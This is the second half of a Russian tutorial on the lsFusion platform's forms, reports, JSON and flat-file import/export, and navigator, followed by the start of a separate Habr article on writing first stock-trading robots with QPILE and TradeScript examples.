Как видим, в обработке выше есть определенная магия – в ней мы работаем и с сервером, и с клиентом одновременно (еще большая магия, на самом деле, состоит в том, что платформа поддержит операции групповой корректировки и paste для этой обработки, но этот функционал уже выходит за рамки данной статьи). Возможность такого обращения сервера к клиенту является одной из важных особенностей платформы и поддерживается сразу в нескольких операторах работы с формами. И тут мы уже плавно переходим к операторам формы.
### Операторы формы
Для работы с формой в платформе поддерживается несколько специальных операторов, позволяющих, например, управлять фокусом, пользовательскими фильтрами и сортировками, текущими значениями объектов формы и так далее, но самым важным все же, наверное, является вышеупомянутый оператор ввода значения INPUT.
Для этого оператора можно задать примитивный тип, предыдущее значение, действие которое необходимо выполнить, если ввод был успешно завершен, а также действие, которое необходимо выполнить, если ввод был отменен. Например:
| |
| --- |
| `FORM order
OBJECTS o = Order
PROPERTIES(o) customer ON CHANGE {
INPUT s = STRING DO {
customer(o) <- s;
IF s THEN
MESSAGE 'Customer changed to ' + s;
ELSE
MESSAGE 'Customer dropped';
}
}
;` |
Соответственно, когда платформа видит такой оператор, она автоматически:
* останавливает процесс выполнения действия,
* отправляет запрос пользователю (в данном случае ввод значения прямо в поле),
* получает от него ответ,
* продолжает выполнение остановленного действия с учетом полученного ответа.
Надо сказать, что INPUT – не единственный оператор ввода данных. Помимо него за ввод данных также отвечают диалоговая форма оператора показа сообщения (ASK):
| |
| --- |
| `DELETE Order o WHERE selected(o);
ASK 'Вы собираетесь удалить ' + (GROUP SUM 1 IF DROPPED(Order o)) + ' заказов. Продолжить ?' DO {
APPLY;
}` |
а также диалоговый режим оператора открытия формы (DIALOG) в интерактивном представлении, но к этому режиму, как и к самому оператору открытия формы, мы вернемся после того, как рассмотрим остальные представления.
На этом с интерактивным представлением закончим и перейдем к статичным представлениям.
Статичные представления
-----------------------
Как уже отмечалось ранее, статичные представления читают все данные формы на момент ее открытия. Соответственно, для этих представлений нужно определить, в каком именно порядке читать эти данные. Для этого объекты формы необходимо организовать в иерархию, в рамках которой данные для объектов будут своего рода «вкладываться» друг в друга. К примеру, если у нас есть объекты A и B, и A является родителем B, то в статичном представлении сначала будут отображаться все свойства A для первого объекта в базе из A, затем все свойства B и все свойства пары (A, B) для всех объектов в базе из B, затем будет отображаться аналогичная информация для второго объекта в базе из A и всех объектов в базе из B и так далее (этот механизм вложения объектов друг в друга очень похож на уже упоминавшийся механизм «плоских» деревьев в интерактивном представлении).
Иерархию объектов платформа строит автоматически на основании структуры формы, хотя нельзя сказать, что полный алгоритм построения этой иерархии сильно очевиден:
* Сначала строятся связи между объектами по следующим правилам:
* После того как связи построены, иерархия строится таким образом, что родителем объекта A выбирается наиболее поздний в списке объектов объект B, от которого A зависит (напрямую или косвенно).
Например:
| |
| --- |
| `FORM myForm 'myForm'
OBJECTS A, B SUBREPORT, C, D, E
PROPERTIES f(B, C), g(A, C)
FILTERS c(E) = C, h(B, D)
;` |
Впрочем, на практике настолько сложные формы, как в примере выше, практически не встречаются, и обычно иерархия объектов формы достаточно очевидна из ее структуры.
Печатное представление
----------------------
Для того чтобы отобразить считанные данные в графическом формате используется LGPL библиотека формирования отчетов – JasperReports.
Как и в других библиотеках формирования отчетов, в JasperReports каждый отчет может содержать группировки данных, а также другие подотчеты. Соответственно, иерархия объектов преобразуется в отчет следующим образом:
* «цепочки» объектов (то есть, O1, O2, O3,… On, где O2 – единственный прямой потомок O1, O3 – единственный прямой потомок O2 и т.д.) превращаются в группировки;
* если у объекта несколько потомков, то для каждого такого потомка создаются подотчеты.
При необходимости любую цепочку объектов можно «разбить» и принудительно создать для объекта подотчет, задав этому объекту опцию SUBREPORT (обычно это необходимо делать, если для объекта нужно отображать данные даже при отсутствии данных в объекте-потомке):
Пример формы в печатном представлении:
| |
| --- |
| `FORM shipment
OBJECTS s=Shipment *// накладная*
PROPERTIES (s) date, customer = nameCustomer, stock = nameStock *// печатаем дату, имя покупателя (с именем customer) и имя склада (с именем stock)*
PROPERTIES total = (GROUP SUM quantity(ShipmentDetail d)*price(d) IF shipment(d)=s) *// печатаем общую сумму накладной*
OBJECTS sd=ShipmentDetail *// строки накладной*
FILTERS shipment(sd) = s *// строки накладной из накладной*
PROPERTIES (sd) index, item = nameItem *// печатаем номер, имя товара (с именем item)*
PROPERTIES (sd) price, quantity *// печатаем количество, цену*
PROPERTIES sum 'Сумма' = (quantity(sd) * price(sd)) *// печатаем кол-во \* цену (с именем sum)*
;
run() {
*// печатаем накладную с номером 12345*
PRINT shipment OBJECTS s = (GROUP MAX Shipment s IF number(s) = '12345')
XLSX TO exportFile;
}` |
**Скриншот формы**
### Дизайн отчета
За дизайн отчета отвечает уже упомянутый JasperReports (собственно, это и есть его основная функция в lsFusion). Как и дизайн формы, дизайн отчета обычно не создается с нуля. Так при первом запуске отчета платформа автоматически создает необходимые файлы на основе структуры формы, а далее разработчик прямо из формы предпросмотра может изменять этот дизайн при помощи специальной программы JasperSoft Studio.
Тут кстати мы единственный раз пожалели, что lsFusion-плагин под IDEA, а не под Eclipse, так как для разработки дизайна отчета приходится устанавливать отдельную программу (в Eclipse поддержку JasperReports можно устанавливать в виде плагина). С другой стороны IDEA поддерживает такую замечательную штуку, как language injection, которую мы использовали прямо внутри jrxml-файлов, в которых хранятся отчеты, в результате чего, к примеру, поиск использования и переименование свойств на форме, поддерживается в том числе и в отчетах, что не раз спасало нам жизнь. Ну и мы, если честно, так и не нашли в Eclipse аналогов GrammarKit с autocomplete (правда, его пришлось самим допиливать), stub-индексов, поддержку lazy chameleon-узлов (по сути двухфазного парсера), а это все очень важно для поддержки сложных языков, а главное для их эффективной работы на больших файлах и проектах. Но это уже отдельная тема.
Структурированное представление
-------------------------------
Все структурированные представления (форматы) можно условно разделить на два типа:
* Иерархические (XML, JSON) – один текстовый файл, а информация для объектов помещается в виде списка (массива) внутрь информации для объекта-родителя.
* Плоские (DBF, CSV, XLS) – по одному файлу-таблице для каждого объекта. При этом для каждого объекта с глубиной в иерархии больше единицы в ее таблице должна присутствовать колонка с именем parent, содержащая номер «верхней» строки в таблице объекта-родителя.
Отметим, что работа с плоскими форматами при глубине иерархии больше единицы не очень удобна (из-за необходимости поддержки дополнительной колонки), поэтому, как правило, плоские форматы используются только для работы с простыми формами (с глубиной иерархии меньше единицы). В остальных случаях обычно используются иерархические форматы. Соответственно, с них и начнем.
### Иерархические форматы
В мире существует два общепризнанных иерархических формата – XML, JSON. У каждого есть свои плюсы и минусы, но в целом они не так сильно отличаются друг от друга, поэтому в этой статье рассмотрим только JSON (для XML все с большего аналогично).
Если попытаться сформулировать процесс экспорта / импорта формы в JSON в двух словах, то все достаточно просто: объекты соответствуют массивам в JSON-объекте, группы свойств – объектам, свойства – полям. Формальный алгоритм же немного сложнее:
**Алгоритм преобразования формы в JSON**Перед тем как непосредственно приступить к экспорту / импорту формы платформа строит иерархию свойств, групп объектов / свойств следующим образом:
* Строится иерархия объектов / групп свойств в соответствии с иерархией объектов и объектами отображения свойств: группа отображения свойства считается родителем этого свойства, иерархия объектов сохраняется.
* Затем для каждого объекта X:
+ для всех потомков X определяются группы свойств, которым они принадлежат, после чего эти группы свойств и их предки автоматически включаются в иерархию. При этом:
- родителями потомков X становятся группы свойств, которым они принадлежат
- иерархия групп свойств сохраняется
- родителями самых верхних (то есть без родителей) использованных групп свойств становится объект X.
После того как иерархия построена, форма экспортируется / импортируется рекурсивно по следующим правилам:
```
JSON результат ::=
{ JSON с свойствами, группами объектов / свойств без родителей }
JSON с свойствами, группами свойств / объектов ::=
JSON свойства 1 | JSON группы свойств 1 | JSON группы объектов 1
JSON свойства 2 | JSON группы свойств 2 | JSON группы объектов 2
...
JSON свойства M | JSON группы свойств M | JSON группы объектов M
JSON свойства ::=
"имя свойства на форме" : значение свойства
JSON группы свойств ::=
"имя группы свойств" : { JSON с дочерними свойствами, группами свойств / объектов }
JSON группы объектов ::=
"имя группы объектов" : [
{ JSON с дочерними свойствами, группами свойств / объектов 1 },
{ JSON с дочерними свойствами, группами свойств / объектов 2 },
...
{ JSON с дочерними свойствами, группами свойств / объектов N },
]
```
Пример экспорта:
| |
| --- |
| `GROUP money;
FORM shipment
OBJECTS dFrom=DATE, dTo=DATE
OBJECTS s=Shipment *// накладная*
PROPERTIES (s) date, customer = nameCustomer, stock = nameStock *// выгружаем дату, имя покупателя (с именем customer) и имя склада (с именем stock)*
FILTERS dFrom <= date(s) AND date(s) <= dTo *// накладные за заданные даты*
OBJECTS sd=ShipmentDetail *// строки накладной*
FILTERS shipment(sd) = s *// строки накладной из накладной*
PROPERTIES (sd) IN money index, item = nameItem, price, quantity *// выгружаем номер, имя товара (с именем item), количество, цену в объекте money*
;
run() {
EXPORT shipment OBJECTS dFrom = 2019\_02\_20, dTo = 2019\_04\_28; *// выгружаем накладные в заданном периоде*
}` |
**Результат**
```
{
"s": [
{
"date": "21.02.19",
"sd": [
{
"money": {
"item": "Товар 3",
"quantity": 1,
"price": 5,
"index": 1
}
}
],
"stock": "Склад 2",
"customer": "Поставщик 2"
},
{
"date": "15.03.19",
"sd": [
{
"money": {
"item": "Товар 1",
"quantity": 1,
"price": 5,
"index": 1
}
},
{
"money": {
"item": "Товар 2",
"quantity": 1,
"price": 10,
"index": 2
}
},
{
"money": {
"item": "Товар 3",
"quantity": 1,
"price": 15,
"index": 3
}
},
{
"money": {
"item": "Товар 4",
"quantity": 1,
"price": 20,
"index": 4
}
},
{
"money": {
"item": "Milk",
"quantity": 1,
"price": 50,
"index": 5
}
}
],
"stock": "Склад 1",
"customer": "Поставщик 3"
},
{
"date": "04.03.19",
"sd": [
{
"money": {
"item": "Товар 1",
"quantity": 2,
"price": 4,
"index": 1
}
},
{
"money": {
"item": "Товар 2",
"quantity": 3,
"price": 4,
"index": 2
}
},
{
"money": {
"item": "Товар 1",
"quantity": 2,
"price": 5,
"index": 3
}
}
],
"stock": "Склад 1",
"customer": "Поставщик 2"
},
{
"date": "04.03.19",
"sd": [
{
"money": {
"item": "Товар 1",
"quantity": 3,
"price": 1,
"index": 1
}
},
{
"money": {
"item": "Товар 2",
"quantity": 2,
"price": 1,
"index": 2
}
}
],
"stock": "Склад 1",
"customer": "Поставщик 2"
},
{
"date": "14.03.19",
"sd": [
{
"money": {
"item": "Товар 2",
"quantity": 1,
"price": 2,
"index": 1
}
}
],
"stock": "Склад 1",
"customer": "Поставщик 2"
},
{
"date": "17.04.19",
"sd": [
{
"money": {
"item": "Товар 2",
"quantity": 5,
"price": 6,
"index": 1
}
},
{
"money": {
"item": "Товар 1",
"quantity": 2,
"price": 6,
"index": 2
}
}
],
"stock": "Склад 1",
"customer": "Поставщик 1"
},
{
"date": "21.02.19",
"sd": [
{
"money": {
"item": "Товар 3",
"quantity": 1,
"price": 22,
"index": 1
}
}
],
"stock": "Склад 2",
"customer": "Поставщик 1"
},
{
"date": "21.02.19",
"sd": [
{
"money": {
"item": "Товар 3",
"quantity": 1,
"price": 22,
"index": 1
}
}
],
"stock": "Склад 2",
"customer": "Поставщик 1"
},
{
"date": "20.02.19",
"sd": [
{
"money": {
"item": "Товар 3",
"quantity": 1,
"price": 22,
"index": 1
}
}
],
"stock": "Склад 2",
"customer": "Поставщик 1"
}
]
}
```
Вообще, при работе с JSON форму можно считать своего рода JSON-схемой. Так, к примеру, в IDE можно по заданному JSON сгенерировать форму, ну а открытие формы в структурированном представлении выполняет обратную операцию – по заданной форме сгенерировать JSON. Единственное, пока при работе со структурированными форматами не поддерживаются рекурсивные деревья (то есть, по сути, JSON-объекты с динамической глубиной), но их поддержка это вопрос времени. В остальном с использованием описанного выше механизма можно экспортировать / импортировать любой JSON файл.
### Плоские форматы
В плоских форматах каждый файл объекта формы является таблицей, в которой:
* Рядами являются объекты в базе этого объекта формы.
* Колонками – свойства, объекты отображения которых равны этому объекту формы.
Как уже отмечалось ранее, плоские форматы, как правило, используются только для работы с простыми формами (то есть состоящими из одного объекта). Соответственно, чтобы не создавать такие формы явно, для работы с ними в платформе существует специальный синтаксический сахар, позволяющий создавать эти формы прямо по месту экспорта / импорта:
| |
| --- |
| `run() {
EXPORT XLSX FROM item = upper(name(Item i)), currentBalance(i, Stock s),
stock = name(s), barcode(i), salePrice(i)
WHERE (name(i) LIKE '%а%' OR salePrice(i) > 10) AND currentBalance(i, s);
}` |
Отметим, что экспорт в плоском формате очень похож на SELECT в SQL. Более того, очень долго был соблазн назвать этот оператор также, но все же в конечном итоге было решено сохранить единообразие с экспортом формы, а также симметрию с импортами (как формы, так и плоским импортом).
Итого, не вдаваясь в детали, с представлениями форм разобрались, осталось совсем немного – разобраться с их открытием в этих представлениях.
Открытие формы
--------------
При открытии формы для любого ее объекта можно передать значение из контекста вызова, которое в зависимости от представления, в котором открывается форма, будет использовано следующим образом:
* В интерактивном представлении – переданное значение будет установлено в качестве текущего объекта.
* В статичном представлении – будет установлен дополнительный фильтр: объект должен быть равен переданному значению.
| |
| --- |
| `run(Genre g) {
SHOW booksByGenre OBJECTS g=g;
PRINT booksByGenre OBJECTS g=g;
EXPORT booksByGenre OBJECTS g=g;
}` |
Передача объектов – основной (и практически единственный) общий механизм при открытии формы во всех ее представлениях. Остальные механизмы зависят от конкретного представления.
### В интерактивном представлении (SHOW, DIALOG)
С точки зрения управления потоком существуют два режима открытия формы в интерактивном представлении:
* Синхронный (WAIT) – ожидает момента, пока пользователь не закроет форму, и только после этого, записав все результаты выполнения, передает управление следующему за ним действию.
* Асинхронный (NOWAIT) – передает управление следующему за ним действию сразу после открытия формы на клиенте.
По умолчанию форма открывается в синхронном режиме.
С точки зрения расположения формы, открываемая форма может быть показана двумя способами:
* Как окно (FLOAT) – форма показывается в виде плавающего окна.
* Как закладка (DOCKED) – форма открывается в виде закладки в системном окне System.forms.
По умолчанию в синхронном режиме работы форма показывается как окно, а в асинхронном – как закладка.
Но, наверное, самой важной возможностью этого оператора является его так называемый диалоговый режим (DIALOG). В этом режиме оператор позволяет вернуть последнее текущее значение заданного объекта (или, при необходимости, нескольких объектов), и тем самым, по сути, осуществить ввод значения.
Соответственно, также, как и в операторе ввода значения в поле (INPUT), в диалоговом режиме этого оператора можно задавать начальные значения объектов (через механизм передачи объектов), а также действия, которые будут выполняться в случае, если ввод был успешно завершен (пользователь нажал ОК), или, наоборот, отменен (пользователь нажал отмену).
| |
| --- |
| `FORM booksByGenre
OBJECTS g = Genre PANEL
PROPERTIES (g) name
OBJECTS b = Book
PROPERTIES (b) name
FILTERS genre(b) = g
;
EXTEND FORM ordersByGenre
PROPERTIES (o) nameBook
ON CHANGE {
DIALOG booksByGenre OBJECTS g = g, b = book(o) INPUT DO
book(o) <- b;
}
;` |
### В печатном представлении (PRINT)
При открытии формы в печатном представлении можно задать конкретный графический (или псевдографический) формат, в который будет преобразован сформированный JasperReports отчет: DOC, DOCX, XLS, XLSX, PDF, HTML, RTF и другие форматы, поддерживаемые JasperReports. Результирующий файл при этом можно как записать в заданное свойство, так и отправить его пользователю, где он, в свою очередь, сможет открыть его средствами ОС (а точнее, ассоциированной с заданным расширением программой).
Кроме того, в десктоп-клиенте можно открыть отчет в режиме предварительного просмотра (PREVIEW), в котором пользователь сможет самостоятельно выбрать, в какой формат экспортировать этот отчет и / или отправить его на печать. Ну и наконец, можно просто отправить отчет на печать, ни о чем не спрашивая пользователя.
### В структурированном представлении (EXPORT, IMPORT)
Также, как и в печатном представлении, при открытии формы в структурированном представлении необходимо задать формат, в который будет экспортирована форма: XML, JSON, DBF, CSV, XLS, XLSX. Сформированный файл при этом записывается в заданное свойство.
Также, в отличие от графических представлений, для структурированного представления поддерживается операция, обратная операции открытия – импорт формы. Оператор импорта формы принимает на вход файл(ы) в структурированном формате, после чего разбирает его (их) и записывает полученные данные в свойства заданной формы таким образом, чтобы при экспорте этой формы назад в импортируемый формат получить исходный файл.
Так как оператор импорта – это, по сути, «оператор ввода», на импортируемую форму накладываются следующие ограничения:
* Все объекты формы должны быть числовых или конкретных пользовательских классов.
* Свойства на форме и фильтры должны иметь возможность изменения на заданное значение (то есть, как правило, быть первичными, хотя, к примеру, можно импортировать значение TRUE в свойство f(a) = b – в этом случае в f(a) запишется b)
Фильтры при импорте изменяются на значение TRUE (если быть точным, на значения по умолчанию классов значений этих фильтров, то есть 0 для чисел, пустые строки для строк и т.п., но, как правило, фильтры все же имеют значения логических типов).
| |
| --- |
| `*// для импорта примитивных данных, для которых нужно найти объекты в системе*
inn = DATA LOCAL BPSTRING[9] (Shipment);
barcode = DATA LOCAL BPSTRING[13] (ShipmentDetail);
FORM shipments
OBJECTS s=Shipment EXTID 'shipments' *// используем EXTID чтобы оставить короткое имя объекта s, но при экспорте его именем будет считаться shipments*
PROPERTIES (s) number, date, inn
OBJECTS sd=ShipmentDetail EXTID 'detail' *// используем EXTID чтобы оставить короткое имя объекта sd, но при экспорте его именем будет считаться detail*
FILTERS shipment(sd) = s *// автоматически заполнит shipment для detail*
PROPERTIES (sd) barcode, price, quantity
;
run() {
FOR jsonFile = JSONFILE('\{ shipments : [ ' + *// jsonFile должен / может передаваться в параметре run, {} надо escape'ить так как фигурные скобки используются в интернационализации*
' \{number : "13423", date : "01.01.2019", inn : "2", detail : [\{ barcode : "141", quantity : 5, price : 10 \}, \{ barcode : "545", quantity : 2, price : 11 \}] \},' +
' \{number : "12445", date : "01.02.2019", inn : "1", detail : [\{ barcode : "13", quantity : 1, price : 22 \}] \} ]\}')
DO {
IMPORT shipments FROM jsonFile; *// тип импорта автоматически определяется из типа файла*
FOR BPSTRING[9] inn = inn(Shipment s) DO { *// для всех принятых inn*
customer(s) <- legalEntityINN(inn); *// в поставку записываем клиента с принятым INN*
stock(s) <- GROUP MAX st AS Stock; *// запишем какой-нибудь склад (с максимальным id)*
}
FOR barcode(Item item) = barcode(ShipmentDetail sd) DO *// еще один способ связать примитивные данные с объектными*
item(sd) <- item;
APPLY;
exportString() <- IF canceled() THEN applyMessage() ELSE 'Накладная записана успешно';
}
}` |
Навигатор
---------
В самом простом варианте пользовательского интерфейса пользователю открываются несколько фиксированных форм, с которыми он будет работать, переключаясь между вкладками. Однако если форм, с которыми работает пользователь, много, открывать их все сразу не очень удобно. В таких случаях для управления работой с формами можно использовать так называемый навигатор. В этом случае при старте клиента пользователю показывается только сам навигатор (никакие формы не открываются), и пользователь может открывать формы самостоятельно по мере их необходимости.
Навигатор в каком-то смысле является весьма специфической разновидностью интерактивного представления формы, адаптированной под быструю и удобную работу с иерархией элементов в режиме большого окна (рабочего стола). Соответственно, отличительной особенностью навигатора является то, что он может отображать только действия без параметров (самыми частыми из которых являются открытия формы). Плюс дизайн навигатора также сильно отличается от дизайна формы.
### Дизайн навигатора
В навигаторе все элементы выстраиваются в иерархию. Помимо действий элементами навигатора могут быть папки, основная функция которых — группировать общий функционал в одном месте.
Непосредственно дизайн навигатора состоит из множества окон – компонентов рабочего стола, каждый из которых отображает некоторые элементы навигатора. Соответственно, каждому элементу навигатора можно задать, в какое окно должны рисоваться его потомки. Таким образом, для каждого окна однозначно определяется множество поддеревьев элементов навигатора, которое в нем отображается.
Каждое окно занимает предопределенный участок рабочего стола.
Весь рабочий стол имеет размеры 100x100 точек. При создании окна необходимо указать левую верхнюю координату, ширину и высоту окна, выраженную в точках. Желательно, чтобы окна «накрывали» всю область рабочего стола. Если этого не происходит, то свободная область будет отдана одному из окон (не гарантируется какому именно). Также допускается, чтобы два окна имели абсолютно идентичные координаты и размеры. В таком случае они будут отображаться на одном и том же месте, но переключение между ними будет идти при помощи вкладок.
В любой момент времени в каждом окне может быть одна текущая выбранная пользователем папка навигатора. Соответственно, если для элемента навигатора какая-то из его верхних по иерархии папок находится в другом окне, и при этом не выбрана, то этот элемент навигатора не показывается.
Также в платформе помимо всего вышеперечисленного:
* для окон можно задавать типы графических компонент, который будут использоваться для отображения в них элементов навигатора – тулбар, панель, дерево или меню.
* существует несколько встроенных системных окон – forms, log, status, root, toolbar, tree, которые можно использовать в различных типовых задачах (например, root, как правило, используют для разбиения действий на модули)
| |
| --- |
| `FORM items;
FORM stocks;
FORM legalEntities;
FORM shipments;
hello() { MESSAGE 'Hello world'; }
hi() { MESSAGE 'Hi'; }
NAVIGATOR {
NEW FOLDER catalogs 'Справочники' WINDOW toolbar { *// создаем новую папку навигатора и делаем, чтобы все ее потомки отображались в окно с вертикальным тулбаром*
NEW items; *// создаем в папке элемент-форму для формы items, имя элемента по умолчанию равняется имени формы*
}
catalogs { *// инструкция редактирования элемента навигатора*
NEW FORM stocksNavigator 'Склады' = stocks; *// создаем элемент-форму stocksNavigator для формы stocls и добавляем в папку catalogs последним элементом*
NEW legalEntities AFTER items; *// создаем элемент-форму с именем legalEntities в папку catalogs непосредственно за элементом items*
NEW shipments;
}
NEW FOLDER documents 'Документы' WINDOW toolbar { *// создаем еще одну папку, элементы которой будут также отображаться в окно с вертикальным тулбаром*
*// сами папки будут отображаться в окне root, и при выборе одной из них в окне с вертикальным*
*// тулбаром будут показаны потомки именно этой папки*
NEW ACTION hi; *// создаем элемент-действие*
NEW ACTION h=hello; *// создаем элемент-действие*
MOVE shipments BEFORE h; *// инструкция перемещения элемента shipments из папки catalogs в папку document перед элементом hello*
}
}` |
**Пример навигатора**
Вообще, навигатор – это большой синтаксический сахар, который позволяет в несколько строк из коробки получить готовое к эксплуатации решение, и такой функционал, также как и управление формой пользователем, как правило, присутствует только в ERP-платформах. Как следствие, у многих людей, читающих статью про «язык программирования», может возникнуть закономерный вопрос: навигатор в языке? Серьезно? Почему не в библиотеке? Ну, во-первых, lsFusion идеологически language-based (как SQL или ABAP), а не library-based (как Java или 1C) язык / платформа. Поэтому, если учесть, что навигатор – не такая уж domain-specific абстракция и присутствует в том или ином виде во всех информационных системах, включение его в язык не кажется настолько нелогичным решением. Во-вторых, я, если честно, никогда не понимал, чем изучение библиотеки проще изучения синтаксической конструкции. Я бы даже сказал наоборот: языковой интерфейс общения, по идее, должен быть более понятен человеку, так как используется им в повседневной жизни. Но, видимо, у многих просто есть аллергия на новые языки, слишком уж много их развелось в последнее время (даже когда в этом скорее всего не было никакой необходимости).
На этом с логикой представления закончим. В следующей статье перейдем уже к физической модели – всему, что связано:
* с разработкой больших проектов: пространства имен, типизация, модульность, интеграция, метакоды, миграция и интернационализация;
* с оптимизацией производительности проектов с большим количеством данных: материализации, таблицы и индексы.
Подытоживая все вышесказанное, хотелось бы обратить внимание на следующие три особенности платформы:
* Одна общая логика формы для всех ее представлений. Это значительно упрощает обучение разработке всех «классических» элементов логики представлений: интерактивных форм, отчетов, экспортов / импортов. Так, человек, освоив всего один механизм, например, интерактивных форм, может практически сразу же заниматься и разработкой отчетов, и интеграцией с внешними системами.
* Возможность обращения сервера к клиенту. Это позволяет собрать весь control flow в одном месте без этого избыточного разделения логики на сервер и клиент. Впрочем, этому вопросу уделим больше внимания потом – в сравнении с другими технологиями.
* Полная реактивность и работа с данными на SQL сервере (без ORM). Эту особенность мы уже упоминали, когда рассказывали про интерактивное представление, но хотелось обратить внимание на нее еще раз, так как на самом деле эта особенность является очень важной при разработке сложных информационных систем с большим количеством данных.
Заключение
----------
Как очень часто бывает, вторые части не всегда получаются такими интересными, как первые (хотя, скорее всего, и первая была не такой интересной, в конце концов, это tutorial, и такой материал, если его нужно уместить в разумный объем, по определению будет достаточно суховатым). Но, как уже упоминалось во вступлении, целью этой статьи (как и первой) не была «продажа», целью было дать возможность читателю составить хотя бы частичную картину того, что из себя представляет разработка на lsFusion.
Также необходимо иметь ввиду, что все, написанное в этой статье – это далеко не все возможности платформы. Многие вещи приходилось пропускать, некоторые упрощать для лучшего понимания. Как следствие, скорее всего, по завершению основного цикла статей будет еще одна статья «Не очередной язык программирования. За кадром.», где я соберу все то, что по разным причинам не попало в первые три статьи (хотя по-хорошему должно было попасть).
Что еще хотелось бы отметить. По опыту предыдущей статьи у значительного числа людей первая реакция на многие заявляемые вещи: «Это невозможно реализовать в общем случае». Ну и далее часто следовала просьба рассказать в двух словах, как именно нам удалось это сделать. Так вот, проблема в том, что реализация платформы lsFusion по сложности сопоставима с реализацией современных SQL-серверов. Чтобы заставить работать весь заявленный функционал на больших объемах, используется множество оптимизаторов, причем работают они в связке, как в самолете – каждый верхний оптимизатор страхует нижний, если что-то пошло не так, и таких уровней оптимизации там не менее шести. Причем многие решают те же задачи, которые по идее должны были бы решать сами SQL-сервера (как например в [недавней статье](https://habr.com/ru/post/459716/)). Соответственно, рассказать про это все вкратце попросту невозможно. Мы, конечно, обязательно расскажем обо всех этих механизмах подробнее (в том числе о том, как ими можно управлять), но сделаем это чуть позже, после того, как закончим с описанием функционала и сравнением с другими технологиями. То есть сначала расскажем «Что?», потом «Почему не ...?» и только потом «Как?».
UPD: Третью часть статьи можно найти [тут](https://habr.com/ru/company/lsfusion/blog/460887/). | https://habr.com/ru/post/460141/ | null | ru | null |
# Как создать первое приложение для торговли на бирже: 3 начальных шага
[](https://habr.com/ru/post/458984/)
Современные биржи – очень технологичны и привлекают внимание ИТ-специалистов (об этом говорят, например, активные обсуждения моих [статей](https://habr.com/ru/post/456170/) по теме). Многих интересует тема написания торговых роботов – кто-то хочет самостоятельно попытаться заработать на бирже, кто-то не прочь делать это на заказ. Сегодня мы поговорим о том, как стоит подойти к созданию первого такого продукта – обсудим возможный стек технологий, снижение порога входа и способы минимизации возможных потерь.
**Дисклеймер**: пост для тех, кто уже хотя бы примерно представляет себе устройство биржи, наличие рисков, имеет возможность экспериментировать не на последние деньги и, в целом, обладает здравым смыслом.
Изучите возможный стек технологий
---------------------------------
Как и в любом ИТ-проекте, при разработке приложений для торговли на бирже, выбор конкретных инструментов диктует конечная цель. Прежде чем начинать разрабатывать торгового робота, нужно спроектировать всю систему, понять, какие модули в ней будут, как они будут взаимодействовать.
Пишите вы высокочастотного робота, которому важна каждая миллисекунда? На каких рынках каких стран будет работать торговая система? Будет ли в ней лишь торговый движок, или еще нужно добавить модуль риск-менеджмента?
В каждом из этих случаев набор технологий может различаться. Хорошо подход к выбору [описан](https://www.quantstart.com/articles/Best-Programming-Language-for-Algorithmic-Trading-Systems) в статье на профильном ресурсе QuantStart (конечно, на английском – для разработки финансовых приложений этим языком лучше неплохо овладеть).
В общем и целом, выбирать вам скорее всего придется из такого списка технологий:
* Большинство брокерских и не только API (вот моя [подборка таких инструментов](https://habr.com/ru/post/456170/)) имеют интерфейсы на C++ и/или Java. Возможно, вы сумеете найти готовые модули для подключения, написанные на C#, Python, R, Excel и MatLab представителями сообщества/клиентами конкретного брокера. Но возможно придется и писать их самостоятельно.
* Для анализа данных часто применяют такие библиотеки, как uBLAS, LAPACK и NAG для C++, MatLab в Python популярны NumPy/SciPy.
* При разработке высокочастотных роботов, использующих GPU (FPGA), скорее всего придется познакомиться с фреймворком CUDA.
Изучите специфику разработки в сфере финансов с помощью встроенных языков программирования
------------------------------------------------------------------------------------------
Создание мощной торговой системы – это по-умолчанию достаточно масштабный проект. Однако если ваша цель – в принципе познакомиться с разработкой для сферы финансов, изучить различные моменты при создании торговых роботов, то вполне можно обойтись и так называемыми встроенными языками программирования.
Существуют торговые терминалы, которые можно не только использовать для совершения сделок в ручном режиме, но и применять встроенные в них скриптовые языки для создания несложных роботов.
Один из самых популярных на российском фондовом рынке терминалов – это QUIK, и в нем есть алгоритмический язык QPILE ( QUIK Programmable Interface and Logic Environment). С его помощью можно автоматизировать [несложные торговые системы](https://arqatech.com/ru/products/quik/capabilities/integration/programming-languages/?sphrase_id=80926). Также в QUIK встроен интерпретатор скриптового языка LUA – он называется QLUA. В терминал скрипты на нем можно загружать как в виде исходного кода, так и уже в виде скомпилированного байт-кода.
Пример кода на QPILE:
```
PROGRAM
FirmCode = "MC0012300000"
CurrentBalance = MONEY_CURRENT_BALANCE(ROWNAME, FirmCode, "EQTV", "SUR")
CurrentLimit = MONEY_CURRENT_LIMIT(ROWNAME, FirmCode, "EQTV", "SUR")
Locked = MONEY_LIMIT_LOCKED(ROWNAME, FirmCode, "EQTV", "SUR")
AvailableMoney = MoneyCurrentBalance + MoneyCurrentLimit – MoneyLocked
If AvailableMoney > 0
Status = "Заявки доступны"
Else
Status = "Заявки недоступны"
SET_ROW_COLOR(ROWNAME, "RGB(255,138,138)", "DEFAULT_COLOR")
End If
END_PROGRAM
```
Оба языка обладают достаточно развитым коммьюнити пользователей, вопросы можно задавать в тредах на официальном [форуме](https://forum.quik.ru/forum9/).
Помимо QUIK, на российских биржах можно торговать через терминал [SMARTx](https://iticapital.ru/software/smartx-terminal/about/). В нем используется встроенный скриптовый язык TradeScript. Синтаксис у него простой, но количество доступных слов и операндов, кодировать можно довольно сложные стратегии. Вот так может выглядеть код простой стратегии на TradeScript:
```
Buy Signals
# Покупаем, если момент и инерция имеют однонаправленный тренд
TREND(EMA(CLOSE, 20), 15) = UP AND
TREND(MACD(13, 26, 9, SIMPLE), 5) = UP
Sell Signals
# Продаем, если момент и инерция имеют однонаправленный тренд
TREND(EMA(CLOSE, 20), 15) = DOWN AND
TREND(MACD(13, 26, 9, SIMPLE), 5) = DOWN
Exit Long Signal
# Выходим, если тренд инерции и момента имеет противоположное направления
TREND(EMA(CLOSE, 20), 15) = DOWN OR
TREND(MACD(13, 26, 9, SIMPLE), 5) = DOWN
Exit Short Signal
# Выходим, если тренд инерции и момента имеет противоположное направления
TREND(EMA(CLOSE, 20), 15) = UP OR
TREND(MACD(13, 26, 9, SIMPLE), 5) = UP
```
Самый важный этап: тестирование и отладка
-----------------------------------------
Разработка приложений для сферы финансов и особенно инструментов для торговли на бирже сложна тем, что тут за ошибки в прямом смысле нужно расплачиваться деньгами. Это не написание кода для очередного веб-стартапа, где при сбой может пройти незамеченным. Любая ошибка в коде торгового робота будет выливаться в потерю денег. Поэтому отладка и тестирование – самый важный этап при создании такого софта.
